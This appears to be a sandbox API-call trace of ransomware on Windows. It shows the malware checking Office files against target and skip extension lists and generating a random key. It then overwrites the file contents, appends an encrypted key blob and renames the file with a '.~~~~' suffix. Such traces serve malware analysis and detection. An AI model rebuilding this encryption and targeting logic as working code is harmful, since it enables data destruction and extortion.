	[0142.232] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".DBF") returned 0x0
	[0142.232] lstrlenW (lpString=".EQL") returned 4
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".EQL") returned 0x0
	[0142.233] lstrlenW (lpString=".FDB") returned 4
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".FDB") returned 0x0
	[0142.233] lstrlenW (lpString=".EDB") returned 4
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".EDB") returned 0x0
	[0142.233] lstrlenW (lpString=".DACPAC") returned 7
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.233] lstrlenW (lpString=".VHD") returned 4
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".VHD") returned 0x0
	[0142.233] lstrlenW (lpString=".DBV") returned 4
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".DBV") returned 0x0
	[0142.233] lstrlenW (lpString=".dacpac") returned 7
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".dacpac") returned 0x0
	[0142.233] lstrlenW (lpString=".sdf") returned 4
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".sdf") returned 0x0
	[0142.233] lstrlenW (lpString=".accdb") returned 6
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".accdb") returned 0x0
	[0142.233] lstrlenW (lpString=".DBX") returned 4
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".DBX") returned 0x0
	[0142.233] lstrlenW (lpString=".MDT") returned 4
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".MDT") returned 0x0
	[0142.233] lstrlenW (lpString=".SQB") returned 4
	[0142.233] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".SQB") returned 0x0
	[0142.234] lstrlenW (lpString=".vhd") returned 4
	[0142.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".vhd") returned 0x0
	[0142.234] lstrlenW (lpString=".bac") returned 4
	[0142.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".bac") returned 0x0
	[0142.234] lstrlenW (lpString=".mdf") returned 4
	[0142.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".mdf") returned 0x0
	[0142.234] lstrlenW (lpString=".BAK") returned 4
	[0142.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".BAK") returned 0x0
	[0142.234] lstrlenW (lpString=".BAC") returned 4
	[0142.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".BAC") returned 0x0
	[0142.234] lstrlenW (lpString=".dbs") returned 4
	[0142.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".dbs") returned 0x0
	[0142.234] lstrlenW (lpString=".vhdx") returned 5
	[0142.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".vhdx") returned 0x0
	[0142.234] lstrlenW (lpString=".NDF") returned 4
	[0142.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".NDF") returned 0x0
	[0142.234] lstrlenW (lpString=".dat") returned 4
	[0142.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".dat") returned 0x0
	[0142.234] lstrlenW (lpString=".DBS") returned 4
	[0142.234] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".DBS") returned 0x0
	[0142.235] lstrlenW (lpString=".CKP") returned 4
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".CKP") returned 0x0
	[0142.235] lstrlenW (lpString=".edb") returned 4
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".edb") returned 0x0
	[0142.235] lstrlenW (lpString=".PST") returned 4
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".PST") returned 0x0
	[0142.235] lstrlenW (lpString=".dbf") returned 4
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".dbf") returned 0x0
	[0142.235] lstrlenW (lpString=".SQL") returned 4
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".SQL") returned 0x0
	[0142.235] lstrlenW (lpString=".pst") returned 4
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".pst") returned 0x0
	[0142.235] lstrlenW (lpString=".dbv") returned 4
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".dbv") returned 0x0
	[0142.235] lstrlenW (lpString=".SDF") returned 4
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".SDF") returned 0x0
	[0142.235] lstrlenW (lpString=".dtxs") returned 5
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".dtxs") returned 0x0
	[0142.235] lstrlenW (lpString=".db3") returned 4
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".db3") returned 0x0
	[0142.235] lstrlenW (lpString=".OST") returned 4
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".OST") returned 0x0
	[0142.235] lstrlenW (lpString=".dbx") returned 4
	[0142.235] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".dbx") returned 0x0
	[0142.235] lstrlenW (lpString=".DB3") returned 4
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".DB3") returned 0x0
	[0142.236] lstrlenW (lpString=".DAT") returned 4
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".DAT") returned 0x0
	[0142.236] lstrlenW (lpString=".VHDX") returned 5
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".VHDX") returned 0x0
	[0142.236] lstrlenW (lpString=".ndf") returned 4
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".ndf") returned 0x0
	[0142.236] lstrlenW (lpString=".DB") returned 3
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".DB") returned 0x0
	[0142.236] lstrlenW (lpString=".sql") returned 4
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".sql") returned 0x0
	[0142.236] lstrlenW (lpString=".MYD") returned 4
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".MYD") returned 0x0
	[0142.236] lstrlenW (lpString=".DBT") returned 4
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".DBT") returned 0x0
	[0142.236] lstrlenW (lpString=".ACCDB") returned 6
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".ACCDB") returned 0x0
	[0142.236] lstrlenW (lpString=".fdb") returned 4
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".fdb") returned 0x0
	[0142.236] lstrlenW (lpString=".bak") returned 4
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".bak") returned 0x0
	[0142.236] lstrlenW (lpString=".myd") returned 4
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".myd") returned 0x0
	[0142.236] lstrlenW (lpString=".DTXS") returned 5
	[0142.236] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".DTXS") returned 0x0
	[0142.236] lstrlenW (lpString=".ckp") returned 4
	[0142.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".ckp") returned 0x0
	[0142.237] lstrlenW (lpString=".dbt") returned 4
	[0142.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".dbt") returned 0x0
	[0142.237] lstrlenW (lpString=".db") returned 3
	[0142.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".db") returned 0x0
	[0142.237] lstrlenW (lpString=".TXT") returned 4
	[0142.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".TXT") returned 0x0
	[0142.237] lstrlenW (lpString=".MDF") returned 4
	[0142.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".MDF") returned 0x0
	[0142.237] lstrlenW (lpString=".bdb") returned 4
	[0142.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".bdb") returned 0x0
	[0142.237] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0142.237] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0142.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0142.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0142.237] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0142.238] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0142.238] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0142.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0142.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0142.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0142.239] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26222884804) returned 1
	[0142.239] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbe301430, dwHighDateTime=0x1d60e1e)) 
	[0142.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0142.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0142.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0142.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa858
	[0142.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0142.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa858 | out: hHeap=0x300000) returned 1
	[0142.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0142.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0142.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a92b8
	[0142.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0142.239] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b9a8
	[0142.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a92b8 | out: hHeap=0x300000) returned 1
	[0142.240] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0142.240] GetLastError () returned 0x0
	[0142.240] GetLastError () returned 0x0
	[0142.240] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0142.240] GetLastError () returned 0x0
	[0142.240] GetLastError () returned 0x0
	[0142.241] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x29, lpOverlapped=0x0) returned 1
	[0142.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffffd7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0142.242] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x29, lpOverlapped=0x0) returned 1
	[0142.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0142.242] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0142.243] WriteFile (in: hFile=0x114, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0142.243] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0142.243] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0142.243] CloseHandle (hObject=0x114) returned 1
	[0142.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a92b8
	[0142.243] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR00.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir00.gif.~~~~")) returned 1
	[0142.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a92b8 | out: hHeap=0x300000) returned 1
	[0142.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0142.246] GetLastError () returned 0x0
	[0142.246] RtlWakeConditionVariable () returned 0x0
	[0142.246] GetCurrentThreadId () returned 0x9cc
	[0142.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".scr") returned 0x0
	[0142.246] lstrlenW (lpString=".cmd") returned 4
	[0142.246] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".cmd") returned 0x0
	[0142.247] lstrlenW (lpString=".dll") returned 4
	[0142.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".dll") returned 0x0
	[0142.247] lstrlenW (lpString=".bat") returned 4
	[0142.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".bat") returned 0x0
	[0142.247] lstrlenW (lpString=".cpl") returned 4
	[0142.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".cpl") returned 0x0
	[0142.247] lstrlenW (lpString=".sys") returned 4
	[0142.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".sys") returned 0x0
	[0142.247] lstrlenW (lpString=".msc") returned 4
	[0142.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".msc") returned 0x0
	[0142.247] lstrlenW (lpString=".com") returned 4
	[0142.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".com") returned 0x0
	[0142.247] lstrlenW (lpString=".lnk") returned 4
	[0142.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".lnk") returned 0x0
	[0142.247] lstrlenW (lpString=".msp") returned 4
	[0142.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".msp") returned 0x0
	[0142.247] lstrlenW (lpString=".pif") returned 4
	[0142.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".pif") returned 0x0
	[0142.247] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0142.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0142.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\zpdir10f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0142.250] lstrlenW (lpString=".sqb") returned 4
	[0142.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".sqb") returned 0x0
	[0142.251] lstrlenW (lpString=".ost") returned 4
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".ost") returned 0x0
	[0142.251] lstrlenW (lpString=".txt") returned 4
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".txt") returned 0x0
	[0142.251] lstrlenW (lpString=".mdt") returned 4
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".mdt") returned 0x0
	[0142.251] lstrlenW (lpString=".BDB") returned 4
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".BDB") returned 0x0
	[0142.251] lstrlenW (lpString=".eql") returned 4
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".eql") returned 0x0
	[0142.251] lstrlenW (lpString=".DBF") returned 4
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".DBF") returned 0x0
	[0142.251] lstrlenW (lpString=".EQL") returned 4
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".EQL") returned 0x0
	[0142.251] lstrlenW (lpString=".FDB") returned 4
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".FDB") returned 0x0
	[0142.251] lstrlenW (lpString=".EDB") returned 4
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".EDB") returned 0x0
	[0142.251] lstrlenW (lpString=".DACPAC") returned 7
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".DACPAC") returned 0x0
	[0142.251] lstrlenW (lpString=".VHD") returned 4
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".VHD") returned 0x0
	[0142.251] lstrlenW (lpString=".DBV") returned 4
	[0142.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".DBV") returned 0x0
	[0142.251] lstrlenW (lpString=".dacpac") returned 7
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".dacpac") returned 0x0
	[0142.252] lstrlenW (lpString=".sdf") returned 4
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".sdf") returned 0x0
	[0142.252] lstrlenW (lpString=".accdb") returned 6
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".accdb") returned 0x0
	[0142.252] lstrlenW (lpString=".DBX") returned 4
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".DBX") returned 0x0
	[0142.252] lstrlenW (lpString=".MDT") returned 4
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".MDT") returned 0x0
	[0142.252] lstrlenW (lpString=".SQB") returned 4
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".SQB") returned 0x0
	[0142.252] lstrlenW (lpString=".vhd") returned 4
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".vhd") returned 0x0
	[0142.252] lstrlenW (lpString=".bac") returned 4
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".bac") returned 0x0
	[0142.252] lstrlenW (lpString=".mdf") returned 4
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".mdf") returned 0x0
	[0142.252] lstrlenW (lpString=".BAK") returned 4
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".BAK") returned 0x0
	[0142.252] lstrlenW (lpString=".BAC") returned 4
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".BAC") returned 0x0
	[0142.252] lstrlenW (lpString=".dbs") returned 4
	[0142.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\ZPDIR10F.GIF", lpSrch=".dbs") returned 0x0
	[0142.252] lstrlenW (lpString=".vhdx") returned 5
